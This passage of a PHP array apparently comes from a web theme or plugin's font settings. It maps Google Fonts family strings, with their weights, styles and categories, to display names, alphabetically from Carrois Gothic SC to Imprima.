			'"Carrois Gothic SC", "regular", sans-serif'                                                                                                                                 => 'Carrois Gothic SC',
			'"Carter One", "regular", display'                                                                                                                                           => 'Carter One',
			'"Castoro", "regular:italic", serif'                                                                                                                                         => 'Castoro',
			'"Castoro Titling", "regular", display'                                                                                                                                      => 'Castoro Titling',
			'"Catamaran", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Catamaran',
			'"Caudex", "regular:italic:700:700italic", serif'                                                                                                                            => 'Caudex',
			'"Caveat", "regular:500:600:700", handwriting'                                                                                                                               => 'Caveat',
			'"Caveat Brush", "regular", handwriting'                                                                                                                                     => 'Caveat Brush',
			'"Cedarville Cursive", "regular", handwriting'                                                                                                                               => 'Cedarville Cursive',
			'"Ceviche One", "regular", display'                                                                                                                                          => 'Ceviche One',
			'"Chakra Petch", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                                       => 'Chakra Petch',
			'"Changa", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                    => 'Changa',
			'"Changa One", "regular:italic", display'                                                                                                                                    => 'Changa One',
			'"Chango", "regular", display'                                                                                                                                               => 'Chango',
			'"Charis SIL", "regular:italic:700:700italic", serif'                                                                                                                        => 'Charis SIL',
			'"Charm", "regular:700", handwriting'                                                                                                                                        => 'Charm',
			'"Charmonman", "regular:700", handwriting'                                                                                                                                   => 'Charmonman',
			'"Chathura", "100:300:regular:700:800", sans-serif'                                                                                                                          => 'Chathura',
			'"Chau Philomene One", "regular:italic", sans-serif'                                                                                                                         => 'Chau Philomene One',
			'"Chela One", "regular", display'                                                                                                                                            => 'Chela One',
			'"Chelsea Market", "regular", display'                                                                                                                                       => 'Chelsea Market',
			'"Chenla", "regular", display'                                                                                                                                               => 'Chenla',
			'"Cherish", "regular", handwriting'                                                                                                                                          => 'Cherish',
			'"Cherry Bomb One", "regular", display'                                                                                                                                      => 'Cherry Bomb One',
			'"Cherry Cream Soda", "regular", display'                                                                                                                                    => 'Cherry Cream Soda',
			'"Cherry Swash", "regular:700", display'                                                                                                                                     => 'Cherry Swash',
			'"Chewy", "regular", display'                                                                                                                                                => 'Chewy',
			'"Chicle", "regular", display'                                                                                                                                               => 'Chicle',
			'"Chilanka", "regular", handwriting'                                                                                                                                         => 'Chilanka',
			'"Chivo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Chivo',
			'"Chivo Mono", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", monospace'                  => 'Chivo Mono',
			'"Chocolate Classical Sans", "regular", sans-serif'                                                                                                                          => 'Chocolate Classical Sans',
			'"Chokokutai", "regular", display'                                                                                                                                           => 'Chokokutai',
			'"Chonburi", "regular", display'                                                                                                                                             => 'Chonburi',
			'"Cinzel", "regular:500:600:700:800:900", serif'                                                                                                                             => 'Cinzel',
			'"Cinzel Decorative", "regular:700:900", display'                                                                                                                            => 'Cinzel Decorative',
			'"Clicker Script", "regular", handwriting'                                                                                                                                   => 'Clicker Script',
			'"Climate Crisis", "regular", display'                                                                                                                                       => 'Climate Crisis',
			'"Coda", "regular:800", display'                                                                                                                                             => 'Coda',
			'"Codystar", "300:regular", display'                                                                                                                                         => 'Codystar',
			'"Coiny", "regular", display'                                                                                                                                                => 'Coiny',
			'"Combo", "regular", display'                                                                                                                                                => 'Combo',
			'"Comfortaa", "300:regular:500:600:700", display'                                                                                                                            => 'Comfortaa',
			'"Comforter", "regular", handwriting'                                                                                                                                        => 'Comforter',
			'"Comforter Brush", "regular", handwriting'                                                                                                                                  => 'Comforter Brush',
			'"Comic Neue", "300:300italic:regular:italic:700:700italic", handwriting'                                                                                                    => 'Comic Neue',
			'"Coming Soon", "regular", handwriting'                                                                                                                                      => 'Coming Soon',
			'"Comme", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Comme',
			'"Commissioner", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Commissioner',
			'"Concert One", "regular", display'                                                                                                                                          => 'Concert One',
			'"Condiment", "regular", handwriting'                                                                                                                                        => 'Condiment',
			'"Content", "regular:700", display'                                                                                                                                          => 'Content',
			'"Contrail One", "regular", display'                                                                                                                                         => 'Contrail One',
			'"Convergence", "regular", sans-serif'                                                                                                                                       => 'Convergence',
			'"Cookie", "regular", handwriting'                                                                                                                                           => 'Cookie',
			'"Copse", "regular", serif'                                                                                                                                                  => 'Copse',
			'"Corben", "regular:700", display'                                                                                                                                           => 'Corben',
			'"Corinthia", "regular:700", handwriting'                                                                                                                                    => 'Corinthia',
			'"Cormorant", "300:regular:500:600:700:300italic:italic:500italic:600italic:700italic", serif'                                                                               => 'Cormorant',
			'"Cormorant Garamond", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                      => 'Cormorant Garamond',
			'"Cormorant Infant", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                        => 'Cormorant Infant',
			'"Cormorant SC", "300:regular:500:600:700", serif'                                                                                                                           => 'Cormorant SC',
			'"Cormorant Unicase", "300:regular:500:600:700", serif'                                                                                                                      => 'Cormorant Unicase',
			'"Cormorant Upright", "300:regular:500:600:700", serif'                                                                                                                      => 'Cormorant Upright',
			'"Courgette", "regular", handwriting'                                                                                                                                        => 'Courgette',
			'"Courier Prime", "regular:italic:700:700italic", monospace'                                                                                                                 => 'Courier Prime',
			'"Cousine", "regular:italic:700:700italic", monospace'                                                                                                                       => 'Cousine',
			'"Coustard", "regular:900", serif'                                                                                                                                           => 'Coustard',
			'"Covered By Your Grace", "regular", handwriting'                                                                                                                            => 'Covered By Your Grace',
			'"Crafty Girls", "regular", handwriting'                                                                                                                                     => 'Crafty Girls',
			'"Creepster", "regular", display'                                                                                                                                            => 'Creepster',
			'"Crete Round", "regular:italic", serif'                                                                                                                                     => 'Crete Round',
			'"Crimson Pro", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                   => 'Crimson Pro',
			'"Crimson Text", "regular:italic:600:600italic:700:700italic", serif'                                                                                                        => 'Crimson Text',
			'"Croissant One", "regular", display'                                                                                                                                        => 'Croissant One',
			'"Crushed", "regular", display'                                                                                                                                              => 'Crushed',
			'"Cuprum", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                           => 'Cuprum',
			'"Cute Font", "regular", display'                                                                                                                                            => 'Cute Font',
			'"Cutive", "regular", serif'                                                                                                                                                 => 'Cutive',
			'"Cutive Mono", "regular", monospace'                                                                                                                                        => 'Cutive Mono',
			'"DM Mono", "300:300italic:regular:italic:500:500italic", monospace'                                                                                                         => 'DM Mono',
			'"DM Sans", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'DM Sans',
			'"DM Serif Display", "regular:italic", serif'                                                                                                                                => 'DM Serif Display',
			'"DM Serif Text", "regular:italic", serif'                                                                                                                                   => 'DM Serif Text',
			'"Dai Banna SIL", "300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                                                           => 'Dai Banna SIL',
			'"Damion", "regular", handwriting'                                                                                                                                           => 'Damion',
			'"Dancing Script", "regular:500:600:700", handwriting'                                                                                                                       => 'Dancing Script',
			'"Danfo", "regular", serif'                                                                                                                                                  => 'Danfo',
			'"Dangrek", "regular", display'                                                                                                                                              => 'Dangrek',
			'"Darker Grotesque", "300:regular:500:600:700:800:900", sans-serif'                                                                                                          => 'Darker Grotesque',
			'"Darumadrop One", "regular", display'                                                                                                                                       => 'Darumadrop One',
			'"David Libre", "regular:500:700", serif'                                                                                                                                    => 'David Libre',
			'"Dawning of a New Day", "regular", handwriting'                                                                                                                             => 'Dawning of a New Day',
			'"Days One", "regular", sans-serif'                                                                                                                                          => 'Days One',
			'"Dekko", "regular", handwriting'                                                                                                                                            => 'Dekko',
			'"Dela Gothic One", "regular", display'                                                                                                                                      => 'Dela Gothic One',
			'"Delicious Handrawn", "regular", handwriting'                                                                                                                               => 'Delicious Handrawn',
			'"Delius", "regular", handwriting'                                                                                                                                           => 'Delius',
			'"Delius Swash Caps", "regular", handwriting'                                                                                                                                => 'Delius Swash Caps',
			'"Delius Unicase", "regular:700", handwriting'                                                                                                                               => 'Delius Unicase',
			'"Della Respira", "regular", serif'                                                                                                                                          => 'Della Respira',
			'"Denk One", "regular", sans-serif'                                                                                                                                          => 'Denk One',
			'"Devonshire", "regular", handwriting'                                                                                                                                       => 'Devonshire',
			'"Dhurjati", "regular", sans-serif'                                                                                                                                          => 'Dhurjati',
			'"Didact Gothic", "regular", sans-serif'                                                                                                                                     => 'Didact Gothic',
			'"Diphylleia", "regular", serif'                                                                                                                                             => 'Diphylleia',
			'"Diplomata", "regular", display'                                                                                                                                            => 'Diplomata',
			'"Diplomata SC", "regular", display'                                                                                                                                         => 'Diplomata SC',
			'"Do Hyeon", "regular", sans-serif'                                                                                                                                          => 'Do Hyeon',
			'"Dokdo", "regular", display'                                                                                                                                                => 'Dokdo',
			'"Domine", "regular:500:600:700", serif'                                                                                                                                     => 'Domine',
			'"Donegal One", "regular", serif'                                                                                                                                            => 'Donegal One',
			'"Dongle", "300:regular:700", sans-serif'                                                                                                                                    => 'Dongle',
			'"Doppio One", "regular", sans-serif'                                                                                                                                        => 'Doppio One',
			'"Dorsa", "regular", sans-serif'                                                                                                                                             => 'Dorsa',
			'"Dosis", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                     => 'Dosis',
			'"DotGothic16", "regular", sans-serif'                                                                                                                                       => 'DotGothic16',
			'"Dr Sugiyama", "regular", handwriting'                                                                                                                                      => 'Dr Sugiyama',
			'"Duru Sans", "regular", sans-serif'                                                                                                                                         => 'Duru Sans',
			'"DynaPuff", "regular:500:600:700", display'                                                                                                                                 => 'DynaPuff',
			'"Dynalight", "regular", display'                                                                                                                                            => 'Dynalight',
			'"EB Garamond", "regular:500:600:700:800:italic:500italic:600italic:700italic:800italic", serif'                                                                             => 'EB Garamond',
			'"Eagle Lake", "regular", handwriting'                                                                                                                                       => 'Eagle Lake',
			'"East Sea Dokdo", "regular", handwriting'                                                                                                                                   => 'East Sea Dokdo',
			'"Eater", "regular", display'                                                                                                                                                => 'Eater',
			'"Economica", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Economica',
			'"Eczar", "regular:500:600:700:800", serif'                                                                                                                                  => 'Eczar',
			'"Edu AU VIC WA NT Hand", "regular:500:600:700", handwriting'                                                                                                                => 'Edu AU VIC WA NT Hand',
			'"Edu NSW ACT Foundation", "regular:500:600:700", handwriting'                                                                                                               => 'Edu NSW ACT Foundation',
			'"Edu QLD Beginner", "regular:500:600:700", handwriting'                                                                                                                     => 'Edu QLD Beginner',
			'"Edu SA Beginner", "regular:500:600:700", handwriting'                                                                                                                      => 'Edu SA Beginner',
			'"Edu TAS Beginner", "regular:500:600:700", handwriting'                                                                                                                     => 'Edu TAS Beginner',
			'"Edu VIC WA NT Beginner", "regular:500:600:700", handwriting'                                                                                                               => 'Edu VIC WA NT Beginner',
			'"El Messiri", "regular:500:600:700", sans-serif'                                                                                                                            => 'El Messiri',
			'"Electrolize", "regular", sans-serif'                                                                                                                                       => 'Electrolize',
			'"Elsie", "regular:900", display'                                                                                                                                            => 'Elsie',
			'"Elsie Swash Caps", "regular:900", display'                                                                                                                                 => 'Elsie Swash Caps',
			'"Emblema One", "regular", display'                                                                                                                                          => 'Emblema One',
			'"Emilys Candy", "regular", display'                                                                                                                                         => 'Emilys Candy',
			'"Encode Sans", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Encode Sans',
			'"Encode Sans Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                             => 'Encode Sans Condensed',
			'"Encode Sans Expanded", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                              => 'Encode Sans Expanded',
			'"Encode Sans SC", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'Encode Sans SC',
			'"Encode Sans Semi Condensed", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                        => 'Encode Sans Semi Condensed',
			'"Encode Sans Semi Expanded", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                         => 'Encode Sans Semi Expanded',
			'"Engagement", "regular", handwriting'                                                                                                                                       => 'Engagement',
			'"Englebert", "regular", sans-serif'                                                                                                                                         => 'Englebert',
			'"Enriqueta", "regular:500:600:700", serif'                                                                                                                                  => 'Enriqueta',
			'"Ephesis", "regular", handwriting'                                                                                                                                          => 'Ephesis',
			'"Epilogue", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                   => 'Epilogue',
			'"Erica One", "regular", display'                                                                                                                                            => 'Erica One',
			'"Esteban", "regular", serif'                                                                                                                                                => 'Esteban',
			'"Estonia", "regular", handwriting'                                                                                                                                          => 'Estonia',
			'"Euphoria Script", "regular", handwriting'                                                                                                                                  => 'Euphoria Script',
			'"Ewert", "regular", display'                                                                                                                                                => 'Ewert',
			'"Exo", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                        => 'Exo',
			'"Exo 2", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Exo 2',
			'"Expletus Sans", "regular:500:600:700:italic:500italic:600italic:700italic", display'                                                                                       => 'Expletus Sans',
			'"Explora", "regular", handwriting'                                                                                                                                          => 'Explora',
			'"Fahkwang", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                             => 'Fahkwang',
			'"Familjen Grotesk", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                 => 'Familjen Grotesk',
			'"Fanwood Text", "regular:italic", serif'                                                                                                                                    => 'Fanwood Text',
			'"Farro", "300:regular:500:700", sans-serif'                                                                                                                                 => 'Farro',
			'"Farsan", "regular", display'                                                                                                                                               => 'Farsan',
			'"Fascinate", "regular", display'                                                                                                                                            => 'Fascinate',
			'"Fascinate Inline", "regular", display'                                                                                                                                     => 'Fascinate Inline',
			'"Faster One", "regular", display'                                                                                                                                           => 'Faster One',
			'"Fasthand", "regular", display'                                                                                                                                             => 'Fasthand',
			'"Fauna One", "regular", serif'                                                                                                                                              => 'Fauna One',
			'"Faustina", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                                  => 'Faustina',
			'"Federant", "regular", display'                                                                                                                                             => 'Federant',
			'"Federo", "regular", sans-serif'                                                                                                                                            => 'Federo',
			'"Felipa", "regular", handwriting'                                                                                                                                           => 'Felipa',
			'"Fenix", "regular", serif'                                                                                                                                                  => 'Fenix',
			'"Festive", "regular", handwriting'                                                                                                                                          => 'Festive',
			'"Figtree", "300:regular:500:600:700:800:900:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                => 'Figtree',
			'"Finger Paint", "regular", display'                                                                                                                                         => 'Finger Paint',
			'"Finlandica", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                       => 'Finlandica',
			'"Fira Code", "300:regular:500:600:700", monospace'                                                                                                                          => 'Fira Code',
			'"Fira Mono", "regular:500:700", monospace'                                                                                                                                  => 'Fira Mono',
			'"Fira Sans", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                  => 'Fira Sans',
			'"Fira Sans Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'        => 'Fira Sans Condensed',
			'"Fira Sans Extra Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'  => 'Fira Sans Extra Condensed',
			'"Fjalla One", "regular", sans-serif'                                                                                                                                        => 'Fjalla One',
			'"Fjord One", "regular", serif'                                                                                                                                              => 'Fjord One',
			'"Flamenco", "300:regular", display'                                                                                                                                         => 'Flamenco',
			'"Flavors", "regular", display'                                                                                                                                              => 'Flavors',
			'"Fleur De Leah", "regular", handwriting'                                                                                                                                    => 'Fleur De Leah',
			'"Flow Block", "regular", display'                                                                                                                                           => 'Flow Block',
			'"Flow Circular", "regular", display'                                                                                                                                        => 'Flow Circular',
			'"Flow Rounded", "regular", display'                                                                                                                                         => 'Flow Rounded',
			'"Foldit", "100:200:300:regular:500:600:700:800:900", display'                                                                                                               => 'Foldit',
			'"Fondamento", "regular:italic", handwriting'                                                                                                                                => 'Fondamento',
			'"Fontdiner Swanky", "regular", display'                                                                                                                                     => 'Fontdiner Swanky',
			'"Forum", "regular", display'                                                                                                                                                => 'Forum',
			'"Fragment Mono", "regular:italic", monospace'                                                                                                                               => 'Fragment Mono',
			'"Francois One", "regular", sans-serif'                                                                                                                                      => 'Francois One',
			'"Frank Ruhl Libre", "300:regular:500:600:700:800:900", serif'                                                                                                               => 'Frank Ruhl Libre',
			'"Fraunces", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                        => 'Fraunces',
			'"Freckle Face", "regular", display'                                                                                                                                         => 'Freckle Face',
			'"Fredericka the Great", "regular", display'                                                                                                                                 => 'Fredericka the Great',
			'"Fredoka", "300:regular:500:600:700", sans-serif'                                                                                                                           => 'Fredoka',
			'"Freehand", "regular", display'                                                                                                                                             => 'Freehand',
			'"Freeman", "regular", display'                                                                                                                                              => 'Freeman',
			'"Fresca", "regular", sans-serif'                                                                                                                                            => 'Fresca',
			'"Frijole", "regular", display'                                                                                                                                              => 'Frijole',
			'"Fruktur", "regular:italic", display'                                                                                                                                       => 'Fruktur',
			'"Fugaz One", "regular", display'                                                                                                                                            => 'Fugaz One',
			'"Fuggles", "regular", handwriting'                                                                                                                                          => 'Fuggles',
			'"Fustat", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                    => 'Fustat',
			'"Fuzzy Bubbles", "regular:700", handwriting'                                                                                                                                => 'Fuzzy Bubbles',
			'"GFS Didot", "regular", serif'                                                                                                                                              => 'GFS Didot',
			'"GFS Neohellenic", "regular:italic:700:700italic", sans-serif'                                                                                                              => 'GFS Neohellenic',
			'"Ga Maamli", "regular", display'                                                                                                                                            => 'Ga Maamli',
			'"Gabarito", "regular:500:600:700:800:900", display'                                                                                                                         => 'Gabarito',
			'"Gabriela", "regular", serif'                                                                                                                                               => 'Gabriela',
			'"Gaegu", "300:regular:700", handwriting'                                                                                                                                    => 'Gaegu',
			'"Gafata", "regular", sans-serif'                                                                                                                                            => 'Gafata',
			'"Gajraj One", "regular", display'                                                                                                                                           => 'Gajraj One',
			'"Galada", "regular", display'                                                                                                                                               => 'Galada',
			'"Galdeano", "regular", sans-serif'                                                                                                                                          => 'Galdeano',
			'"Galindo", "regular", display'                                                                                                                                              => 'Galindo',
			'"Gamja Flower", "regular", handwriting'                                                                                                                                     => 'Gamja Flower',
			'"Gantari", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Gantari',
			'"Gasoek One", "regular", sans-serif'                                                                                                                                        => 'Gasoek One',
			'"Gayathri", "100:regular:700", sans-serif'                                                                                                                                  => 'Gayathri',
			'"Gelasio", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                               => 'Gelasio',
			'"Gemunu Libre", "200:300:regular:500:600:700:800", sans-serif'                                                                                                              => 'Gemunu Libre',
			'"Genos", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Genos',
			'"Gentium Book Plus", "regular:italic:700:700italic", serif'                                                                                                                 => 'Gentium Book Plus',
			'"Gentium Plus", "regular:italic:700:700italic", serif'                                                                                                                      => 'Gentium Plus',
			'"Geo", "regular:italic", sans-serif'                                                                                                                                        => 'Geo',
			'"Geologica", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Geologica',
			'"Georama", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Georama',
			'"Geostar", "regular", display'                                                                                                                                              => 'Geostar',
			'"Geostar Fill", "regular", display'                                                                                                                                         => 'Geostar Fill',
			'"Germania One", "regular", display'                                                                                                                                         => 'Germania One',
			'"Gideon Roman", "regular", display'                                                                                                                                         => 'Gideon Roman',
			'"Gidugu", "regular", sans-serif'                                                                                                                                            => 'Gidugu',
			'"Gilda Display", "regular", serif'                                                                                                                                          => 'Gilda Display',
			'"Girassol", "regular", display'                                                                                                                                             => 'Girassol',
			'"Give You Glory", "regular", handwriting'                                                                                                                                   => 'Give You Glory',
			'"Glass Antiqua", "regular", display'                                                                                                                                        => 'Glass Antiqua',
			'"Glegoo", "regular:700", serif'                                                                                                                                             => 'Glegoo',
			'"Gloock", "regular", serif'                                                                                                                                                 => 'Gloock',
			'"Gloria Hallelujah", "regular", handwriting'                                                                                                                                => 'Gloria Hallelujah',
			'"Glory", "100:200:300:regular:500:600:700:800:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                    => 'Glory',
			'"Gluten", "100:200:300:regular:500:600:700:800:900", display'                                                                                                               => 'Gluten',
			'"Goblin One", "regular", display'                                                                                                                                           => 'Goblin One',
			'"Gochi Hand", "regular", handwriting'                                                                                                                                       => 'Gochi Hand',
			'"Goldman", "regular:700", display'                                                                                                                                          => 'Goldman',
			'"Golos Text", "regular:500:600:700:800:900", sans-serif'                                                                                                                    => 'Golos Text',
			'"Gorditas", "regular:700", display'                                                                                                                                         => 'Gorditas',
			'"Gothic A1", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Gothic A1',
			'"Gotu", "regular", sans-serif'                                                                                                                                              => 'Gotu',
			'"Goudy Bookletter 1911", "regular", serif'                                                                                                                                  => 'Goudy Bookletter 1911',
			'"Gowun Batang", "regular:700", serif'                                                                                                                                       => 'Gowun Batang',
			'"Gowun Dodum", "regular", sans-serif'                                                                                                                                       => 'Gowun Dodum',
			'"Graduate", "regular", serif'                                                                                                                                               => 'Graduate',
			'"Grand Hotel", "regular", handwriting'                                                                                                                                      => 'Grand Hotel',
			'"Grandiflora One", "regular", serif'                                                                                                                                        => 'Grandiflora One',
			'"Grandstander", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                  => 'Grandstander',
			'"Grape Nuts", "regular", handwriting'                                                                                                                                       => 'Grape Nuts',
			'"Gravitas One", "regular", display'                                                                                                                                         => 'Gravitas One',
			'"Great Vibes", "regular", handwriting'                                                                                                                                      => 'Great Vibes',
			'"Grechen Fuemen", "regular", handwriting'                                                                                                                                   => 'Grechen Fuemen',
			'"Grenze", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                          => 'Grenze',
			'"Grenze Gotisch", "100:200:300:regular:500:600:700:800:900", display'                                                                                                       => 'Grenze Gotisch',
			'"Grey Qo", "regular", handwriting'                                                                                                                                          => 'Grey Qo',
			'"Griffy", "regular", display'                                                                                                                                               => 'Griffy',
			'"Gruppo", "regular", sans-serif'                                                                                                                                            => 'Gruppo',
			'"Gudea", "regular:italic:700", sans-serif'                                                                                                                                  => 'Gudea',
			'"Gugi", "regular", display'                                                                                                                                                 => 'Gugi',
			'"Gulzar", "regular", serif'                                                                                                                                                 => 'Gulzar',
			'"Gupter", "regular:500:700", serif'                                                                                                                                         => 'Gupter',
			'"Gurajada", "regular", serif'                                                                                                                                               => 'Gurajada',
			'"Gwendolyn", "regular:700", handwriting'                                                                                                                                    => 'Gwendolyn',
			'"Habibi", "regular", serif'                                                                                                                                                 => 'Habibi',
			'"Hachi Maru Pop", "regular", handwriting'                                                                                                                                   => 'Hachi Maru Pop',
			'"Hahmlet", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                                => 'Hahmlet',
			'"Halant", "300:regular:500:600:700", serif'                                                                                                                                 => 'Halant',
			'"Hammersmith One", "regular", sans-serif'                                                                                                                                   => 'Hammersmith One',
			'"Hanalei", "regular", display'                                                                                                                                              => 'Hanalei',
			'"Hanalei Fill", "regular", display'                                                                                                                                         => 'Hanalei Fill',
			'"Handjet", "100:200:300:regular:500:600:700:800:900", display'                                                                                                              => 'Handjet',
			'"Handlee", "regular", handwriting'                                                                                                                                          => 'Handlee',
			'"Hanken Grotesk", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Hanken Grotesk',
			'"Hanuman", "100:300:regular:700:900", serif'                                                                                                                                => 'Hanuman',
			'"Happy Monkey", "regular", display'                                                                                                                                         => 'Happy Monkey',
			'"Harmattan", "regular:500:600:700", sans-serif'                                                                                                                             => 'Harmattan',
			'"Headland One", "regular", serif'                                                                                                                                           => 'Headland One',
			'"Hedvig Letters Sans", "regular", sans-serif'                                                                                                                               => 'Hedvig Letters Sans',
			'"Hedvig Letters Serif", "regular", serif'                                                                                                                                   => 'Hedvig Letters Serif',
			'"Heebo", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Heebo',
			'"Henny Penny", "regular", display'                                                                                                                                          => 'Henny Penny',
			'"Hepta Slab", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                             => 'Hepta Slab',
			'"Herr Von Muellerhoff", "regular", handwriting'                                                                                                                             => 'Herr Von Muellerhoff',
			'"Hi Melody", "regular", handwriting'                                                                                                                                        => 'Hi Melody',
			'"Hina Mincho", "regular", serif'                                                                                                                                            => 'Hina Mincho',
			'"Hind", "300:regular:500:600:700", sans-serif'                                                                                                                              => 'Hind',
			'"Hind Guntur", "300:regular:500:600:700", sans-serif'                                                                                                                       => 'Hind Guntur',
			'"Hind Madurai", "300:regular:500:600:700", sans-serif'                                                                                                                      => 'Hind Madurai',
			'"Hind Siliguri", "300:regular:500:600:700", sans-serif'                                                                                                                     => 'Hind Siliguri',
			'"Hind Vadodara", "300:regular:500:600:700", sans-serif'                                                                                                                     => 'Hind Vadodara',
			'"Holtwood One SC", "regular", serif'                                                                                                                                        => 'Holtwood One SC',
			'"Homemade Apple", "regular", handwriting'                                                                                                                                   => 'Homemade Apple',
			'"Homenaje", "regular", sans-serif'                                                                                                                                          => 'Homenaje',
			'"Honk", "regular", display'                                                                                                                                                 => 'Honk',
			'"Hubballi", "regular", sans-serif'                                                                                                                                          => 'Hubballi',
			'"Hurricane", "regular", handwriting'                                                                                                                                        => 'Hurricane',
			'"IBM Plex Mono", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", monospace'                                           => 'IBM Plex Mono',
			'"IBM Plex Sans", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                          => 'IBM Plex Sans',
			'"IBM Plex Sans Arabic", "100:200:300:regular:500:600:700", sans-serif'                                                                                                      => 'IBM Plex Sans Arabic',
			'"IBM Plex Sans Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                => 'IBM Plex Sans Condensed',
			'"IBM Plex Sans Devanagari", "100:200:300:regular:500:600:700", sans-serif'                                                                                                  => 'IBM Plex Sans Devanagari',
			'"IBM Plex Sans Hebrew", "100:200:300:regular:500:600:700", sans-serif'                                                                                                      => 'IBM Plex Sans Hebrew',
			'"IBM Plex Sans JP", "100:200:300:regular:500:600:700", sans-serif'                                                                                                          => 'IBM Plex Sans JP',
			'"IBM Plex Sans KR", "100:200:300:regular:500:600:700", sans-serif'                                                                                                          => 'IBM Plex Sans KR',
			'"IBM Plex Sans Thai", "100:200:300:regular:500:600:700", sans-serif'                                                                                                        => 'IBM Plex Sans Thai',
			'"IBM Plex Sans Thai Looped", "100:200:300:regular:500:600:700", sans-serif'                                                                                                 => 'IBM Plex Sans Thai Looped',
			'"IBM Plex Serif", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                              => 'IBM Plex Serif',
			'"IM Fell DW Pica", "regular:italic", serif'                                                                                                                                 => 'IM Fell DW Pica',
			'"IM Fell DW Pica SC", "regular", serif'                                                                                                                                     => 'IM Fell DW Pica SC',
			'"IM Fell Double Pica", "regular:italic", serif'                                                                                                                             => 'IM Fell Double Pica',
			'"IM Fell Double Pica SC", "regular", serif'                                                                                                                                 => 'IM Fell Double Pica SC',
			'"IM Fell English", "regular:italic", serif'                                                                                                                                 => 'IM Fell English',
			'"IM Fell English SC", "regular", serif'                                                                                                                                     => 'IM Fell English SC',
			'"IM Fell French Canon", "regular:italic", serif'                                                                                                                            => 'IM Fell French Canon',
			'"IM Fell French Canon SC", "regular", serif'                                                                                                                                => 'IM Fell French Canon SC',
			'"IM Fell Great Primer", "regular:italic", serif'                                                                                                                            => 'IM Fell Great Primer',
			'"IM Fell Great Primer SC", "regular", serif'                                                                                                                                => 'IM Fell Great Primer SC',
			'"Ibarra Real Nova", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                      => 'Ibarra Real Nova',
			'"Iceberg", "regular", display'                                                                                                                                              => 'Iceberg',
			'"Iceland", "regular", display'                                                                                                                                              => 'Iceland',
			'"Imbue", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                                  => 'Imbue',
			'"Imperial Script", "regular", handwriting'                                                                                                                                  => 'Imperial Script',
			'"Imprima", "regular", sans-serif'                                                                                                                                           => 'Imprima',
